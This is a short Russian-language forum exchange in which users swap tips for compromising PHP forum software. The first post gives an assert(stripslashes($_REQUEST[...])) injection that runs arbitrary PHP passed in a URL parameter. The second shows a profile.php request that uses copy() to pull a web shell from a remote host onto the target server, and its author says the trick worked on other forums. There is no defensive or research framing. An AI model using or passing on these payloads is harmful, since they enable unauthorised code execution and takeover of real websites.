Вместо phpinfo() свой код ставь, например: assert(stripslashes($_REQUEST[cod])); После этого зайди в свой профиль, добавь к концу url: &cod=PHP_CODE PHP_CODE: copy(что,куда); Например.
тоже самое интересует так работает, safe_mode off пробовал залить так profile.php?mode=editprofile&c=copy('http://откуда','/куда/shell.php'); но не получается, при переходе страница отсутствует (на других форумах получалось, а вот с одним мучаюсь да бестолку)